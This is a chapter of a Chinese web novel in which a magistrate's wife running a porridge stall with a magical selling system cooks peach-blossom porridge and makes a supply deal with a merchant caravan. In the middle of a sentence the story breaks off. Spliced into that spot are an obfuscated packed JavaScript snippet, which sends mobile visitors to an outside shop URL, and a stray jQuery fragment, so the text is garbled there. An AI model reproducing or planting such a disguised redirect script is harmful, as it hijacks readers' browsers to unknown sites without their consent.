姜念绕着内院跑了两圈回来,走到廊下,便听见身后传来熟悉的声音。
“姜姑娘。”
回头一看,顾衍之站在不远处。
平日里他官服加身,总带着几分县令的清贵疏离。今日换了一身寻常书生装扮,乌发以木簪束起,唇角泛起浅浅的笑。
晨光落进那双桃花眼中,竟映出几分腼腆,仿佛聊斋话本里的俊俏书生走了出来。
怎么感觉与昨日烧掉的那个有些相似......
大约是刚运动完,身体有些缺糖,才升起这个离谱的念头。
她若无其事问:“顾公子,寻我何事?”
顾衍之目光在她脸上停留,唇角笑意似乎深了:
“清明前后,京城有饮桃花粥的习俗。今早有工匠送来一袋新鲜桃花,我不善此物,想着姜姑娘或许用得上。”
姜念接过他递来的纸袋,打开一看,里面的桃花显然摘下不久,还沾着晶莹的晨露。
京城殷实人家中确实有这习俗,将粳米熬得软糯,再加入桃花与冰糖,颜色鲜妍,味道清甜,是一道颇为风雅的时令吃食。
“正好能用在粥铺,多谢。”
顾衍之微微颔首,转身去前衙。
等他的背影消失在廊角,姜念忙从袖中取出银票,展开对着晨光看了看,心情逐渐平复下来。
还好,什么书生桃花,都不如口袋里的银票来得实在。
换了衣裳,她便溜达去了铺子。
甜粥生意已经稳定下来,每日开门前,后厨都要提前熬好两锅粟米粥和一锅菾菜水。至于菾菜水要熬到几分,仍得由她亲自把关。
姜念闩上后厨门,舀出些许粟米粥与菾菜糖水,调出十碗甜粥,上架系统。
光幕亮起。
【古法粟米甜粥,微微糖】
【重量:500克】
【系统收购价:0.5元】
看到这收购价,她就想起先前上架的那碗薄荷凉虾,她原本定价十元,三日无人购买,最后只按五毛钱的收购价卖给了系统。
那时光幕才弹出提示——【凡上架食物,三日内未售出,将自动按收购价卖与系统。】
此次她谨慎输入五元,看看销量再作打算。
忙完上架,又从外卖上下单一包白糖,倒入菾菜水中,再加上一瓢温水稀释。
试了试味道,比原本的甜上一分。
这样一来,铺子的甜粥比别家的甜一些,又不至于甜得突兀,价格还便宜,不愁没有回头客。
处理完这些,姜念舒服地伸了个懒腰,出去叫帮厨另熬一小锅粳米粥,自己则搬了个板凳坐下来,细心将桃花择去花萼,只留下鲜嫩的花瓣,浸入清水洗净。
等粳米熬得软糯浓稠,才将花瓣撒入其中。淡淡的桃花香融入米粥,随着热气从锅中飘散出来。
她盛出一小碗,添了半勺菾菜糖水,尝了尝,味道清雅,花香若有若无,正适合春日。
不一会,甜粥铺子门前便多了一块木牌:
桃花粥,十二文一碗,风雅时令,仅售今日。
*
张主簿今日来得很早。
库房几名老吏看见了他走来,只客客气气打个招呼,却不像从前那般主动迎上去。
菾菜仙方与解忧广场之事,已经传遍大石县。
县衙上下都看得出来,新来的县令温和文雅,手段却不容小觑。在这种骨节眼上,谁都不敢跟张主簿走得太近,生怕被县令大人逮住来立威。
张主簿将这些冷眼尽收眼底。
他并不恼,只悠然走过,自袖中掏出几张银票,轻飘飘地放在几人案头。
几名老吏脸色微变,连忙推辞:“主簿,这可使不得。”
“和往常一样,请诸位喝两杯茶罢了。”
张主簿笑着收回手,眼底掠过一丝阴鸷:“顾大人年轻有为,你们替他办差,自然要尽心。只是诸位在大石县多年,家业亲眷也都在这里,有些旧日情分,总不能说断就断。”
几名老吏背脊渗出一层冷汗,片刻后,默默将银票收进了袖中。
张主簿看在眼里,这才满意了几分。
这两日,张家处理了一批下人。
张管事被拖进院中杖责,挨了二十杖,打得皮开肉绽,连同贴身小厮林二,一并被扔出了张府。
管事的位置,很快换了新人。
新管事名叫张立,身形高壮,平日里嗓门极大,今日来到赵娘子的面摊前,将声音放得格外和气。
“赵娘子,三碗解忧面,带回府里。”
“只剩一碗,四两。”
张立痛快付了银子,又含笑拱手:
“赵娘子,我是张府新任的管事。前头那不长眼的与您有过什么龃龉,我也不清楚,不过他既得罪了您,我便替张府向赵娘子赔个不是。”
如今张家上下都已经明白,赵娘子和县衙是绑在一条船上,早不是他们能够随意揉捏的人。旧管事的下场摆在眼前,谁也不想成为下一个。
旁边排队买粥的百姓忍不住悄悄看过来,张家人居然会这样客气,实在让人觉得稀奇。
赵娘子冷淡点头,没有说话,将面下进锅里。
她如今有名望、有进项,有挺直腰板的底气,一句迟来的道歉,已经不能再让她心起波澜。
姜念站在一旁看着,唇角悄然弯起。
*
到了午后,落起了纷纷细雨。
兰娘来邀姜念,去一趟来福酒楼饮茶。
有一支从凉州南上京城的行商,正在大石县落脚,不仅包下了整座来福酒楼,连后厨也忙得脚不沾地,变着花样置办酒菜。
姜念听完便动了心。
铺子的供应商也该多准备一家。
这等大商队的门路多得很,只要能谈成生意,不论在哪儿,他们也会把货物送来。
日后若是张家和宋家卡住原料,她也有所准备。
兰娘得知她想与商队谈生意,便提醒道:“这类大商队手里的好东西虽多,眼界却也高。寻常小买卖,他们不肯接。你若想与他们交易,得先拿出能让他们心动的东西。”
姜念点了点头,走进了来福酒楼。
大堂装修气派,商队成员围坐着推杯换盏,他们身上带着长途跋涉的风尘,却又有一种常年行走各地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741228|208637||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的从容。
掌柜低声介绍:“这是京城的胡记大商队,主事的阿勒首领,在楼上歇息。大堂里主事的,是他的粟特账房先生。”
那名粟特账房看起来三十多岁,容貌与大梁人不同,听闻姜念是县令夫人,也只是敷衍地拱了拱手。
“你有什么交易,与我说也是一样。”
姜念客气道:“我的铺子需要米面粮油,还有一些南边的种子香料。”
旁边几名商队成员听见,忍不住笑出声。
粟特账房眼里的轻慢几乎不加掩饰:“我们胡记商队千里往返,做的是大宗买卖,夫人若只是想买些米面香料,不如找张家或者宋家。”
姜念淡定挑眉,从袖中取出一个锦囊,递过去:
“若是另一桩买卖呢?此物,贵商队可做?”
他狐疑打开锦囊,十二枚圆润的珠子静静躺在其中,晶莹剔透,几乎没有一丝杂质。
这样的成色,即便放在京城,也足以让贵人们争相购买。再用来与玉石穿成珠串,便是一件难得的饰品。
粟特账房面上的轻慢消失,客客气气道:“夫人稍等,我去请首领。”
不过片刻,阿勒首领走了下来。
他身形高大,四十来岁,眉目间带着商人的精明。
“在下阿勒,听闻夫人手中有一件好东西,不知想卖多少?”
姜念微微一笑:“不卖。贵商队若愿意与我的铺子合作,往后提供米面粮油、种子香料,这十二枚琉璃珠,便赠给首领。”
大堂安静下来。
兰娘和掌柜也面面相觑。
这袋琉璃珠子,少说也能换五十两,说送就送了?
“顾夫人倒是会做生意,不过胡记每月送来的货,已被张宋预定,若是再加数量,还得加派人手。这袋珠子,不够。”
“我可以加钱。”
“加多少?”
两人你来我往,谈了数个回合。
姜念付了一百两银子,买下了一批凉州运来的稀罕种子和南方香料,也与胡记商行敲定了长期协议。胡记商队每月运到大石县的米粮,本是只供张家和宋家,往后要另增一成,直接供给姜念的铺子。
阿勒沉吟片刻,从袖中取出一枚雕花木牌:“顾夫人,凭此牌,往后若去京城胡记商行,可享贵宾之礼。”
姜念笑着接过。
这一趟收获颇丰,用几元钱一串的珠子打通了商路;买下的种子与香料,能替系统里的东西打掩护。
她心里满意,带着人飘然离开了酒楼。
细雨落在街道上,将窗外的青石板打湿了一层。
粟特账房小声问:“首领,为何给她贵客牌?在胡记商行花了数百两银子的客人,也不一定能拿到。”
阿勒看向窗外出神:“我已经三年没有回京城了。”
春日里,母亲会把院子里盛开的桃花折下,熬上一锅桃花粥。
他常年奔波在外,走过大漠关山,吃过无数珍馐美味,却鲜少再尝到那个味道。
而今日路过县衙,却尝到了一碗。
许久,他才道:
“想早些回家看看。”